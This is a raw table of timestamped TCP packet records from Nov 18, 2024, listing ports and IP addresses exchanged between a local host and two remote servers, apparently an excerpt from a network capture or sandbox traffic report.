Nov 18, 2024 05:57:56.339370012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.339404106 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.383034945 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.401864052 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.401935101 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.402025938 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.402038097 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.402162075 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.402214050 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.402250051 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.402250051 CET	60474	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.402271032 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.402290106 CET	443	60474	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.404366016 CET	60479	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.404438019 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.404640913 CET	60479	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.404815912 CET	60479	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.404850960 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.493808031 CET	443	60475	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.494290113 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.494374037 CET	443	60475	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.494565010 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.494579077 CET	443	60475	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.530909061 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.531267881 CET	60476	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.531299114 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.531622887 CET	60476	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.531636953 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.626668930 CET	443	60475	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.626811981 CET	443	60475	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.626995087 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.626995087 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.626995087 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.630403996 CET	60480	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.630490065 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.630635023 CET	60480	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.630831003 CET	60480	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.630868912 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.661317110 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.661364079 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.661417961 CET	60476	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.661587954 CET	60476	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.661587954 CET	60476	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.661618948 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.661643982 CET	443	60476	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.663683891 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.663714886 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.663779974 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.663943052 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.663966894 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.720058918 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.720419884 CET	60477	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.720479012 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.720801115 CET	60477	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.720813990 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:56.929974079 CET	60475	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:56.930038929 CET	443	60475	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.010694981 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.011267900 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.011291981 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.011698008 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.011708975 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.133836985 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.134265900 CET	60479	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.134298086 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.134690046 CET	60479	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.134700060 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.139107943 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.139143944 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.139190912 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.139204979 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.139251947 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.139386892 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.139414072 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.139437914 CET	60478	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.139452934 CET	443	60478	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.141876936 CET	60482	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.141931057 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.142004967 CET	60482	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.142117023 CET	60482	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.142132044 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.145502090 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.145663977 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.145721912 CET	60477	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.145756006 CET	60477	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.145767927 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.145781994 CET	60477	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.145787001 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.147597075 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.147631884 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.147707939 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.147814035 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.147839069 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.266155005 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.266252041 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.266314030 CET	60479	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.266438961 CET	60479	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.266485929 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.266539097 CET	60479	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.266556025 CET	443	60479	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.268647909 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.268738031 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.268822908 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.268950939 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.268980026 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.364495993 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.365077972 CET	60480	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.365140915 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.365530014 CET	60480	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.365545034 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.391908884 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.392554998 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.392576933 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.392991066 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.393001080 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.627428055 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.627556086 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.627556086 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.627573013 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.627623081 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.627626896 CET	60480	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.627649069 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.627696037 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.627821922 CET	60480	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.627863884 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.627914906 CET	60480	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.627932072 CET	443	60480	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.627975941 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.627975941 CET	60481	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.628002882 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.628025055 CET	443	60481	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.631020069 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.631059885 CET	60486	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.631114960 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.631155014 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.631191015 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.631226063 CET	60486	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.631344080 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.631377935 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.631409883 CET	60486	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.631449938 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.872843027 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.873339891 CET	60482	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.873403072 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.873789072 CET	60482	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.873806000 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.889163971 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.889478922 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.889512062 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:57.889914989 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:57.889944077 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.002245903 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.002367973 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.002418041 CET	60482	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.002523899 CET	60482	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.002549887 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.002567053 CET	60482	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.002573967 CET	443	60482	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.004333019 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.006884098 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.006915092 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.007344961 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.007353067 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.008594036 CET	60487	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.008646965 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.008702040 CET	60487	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.008822918 CET	60487	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.008837938 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.022859097 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.022907972 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.022963047 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.022993088 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.023037910 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.023087978 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.023137093 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.023159027 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.023192883 CET	60483	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.023206949 CET	443	60483	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.025563002 CET	60488	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.025599003 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.025687933 CET	60488	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.025799990 CET	60488	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.025814056 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.135641098 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.135700941 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.135833025 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.135860920 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.135898113 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.135962963 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.135987043 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.136003971 CET	60484	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.136010885 CET	443	60484	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.138329983 CET	60489	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.138382912 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.138454914 CET	60489	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.138588905 CET	60489	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.138602972 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.375242949 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.375825882 CET	60486	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.375888109 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.376243114 CET	60486	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.376255989 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.378145933 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.378448009 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.378495932 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.378803968 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.378810883 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.506673098 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.506688118 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.506731987 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.506860971 CET	60486	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.507083893 CET	60486	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.507136106 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.507169962 CET	60486	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.507194996 CET	443	60486	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.508120060 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.508172035 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.508224010 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.508253098 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.508306980 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.508346081 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.508492947 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.508511066 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.508523941 CET	60485	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.508529902 CET	443	60485	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.509907961 CET	60490	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.509947062 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.510016918 CET	60490	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.510098934 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.510149956 CET	60490	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.510153055 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.510169983 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.510212898 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.510302067 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.510323048 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.749131918 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.749600887 CET	60487	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.749639034 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.750010014 CET	60487	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.750015974 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.753704071 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.754043102 CET	60488	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.754066944 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.754426003 CET	60488	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.754431963 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.878654003 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.878813982 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.878866911 CET	60487	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.878910065 CET	60487	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.878931999 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.878946066 CET	60487	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.878952980 CET	443	60487	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.881366014 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.881395102 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.881452084 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.881473064 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.881647110 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.881659985 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.881802082 CET	60489	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.881815910 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.882191896 CET	60489	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.882199049 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.882636070 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.882823944 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.882880926 CET	60488	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.882910013 CET	60488	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.882925987 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.882937908 CET	60488	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.882944107 CET	443	60488	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.885443926 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.885478973 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:58.885646105 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.885646105 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:58.885669947 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.011148930 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.011307001 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.011382103 CET	60489	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.011445999 CET	60489	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.011464119 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.011478901 CET	60489	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.011486053 CET	443	60489	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.013695955 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.013724089 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.013787985 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.013942003 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.013952971 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.245747089 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.250983000 CET	60490	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.251002073 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.251379967 CET	60490	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.251385927 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.262151003 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.265031099 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.265069962 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.271672010 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.271683931 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.376406908 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.376564026 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.376710892 CET	60490	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.379568100 CET	60490	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.379568100 CET	60490	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.379614115 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.379642010 CET	443	60490	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.383066893 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.383107901 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.383179903 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.384016037 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.384032011 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.399838924 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.399864912 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.399926901 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.399941921 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.400034904 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.400136948 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.400178909 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.400240898 CET	60491	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.400257111 CET	443	60491	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.402254105 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.402276039 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.402334929 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.402439117 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.402452946 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.609816074 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.610337019 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.610358000 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.610764027 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.610770941 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.768531084 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.769053936 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.769081116 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.769428015 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.769437075 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.806545973 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.807081938 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.807117939 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.807528019 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.807534933 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.852458000 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.852507114 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.852528095 CET	443	60493	13.107.246.45	192.168.2.6
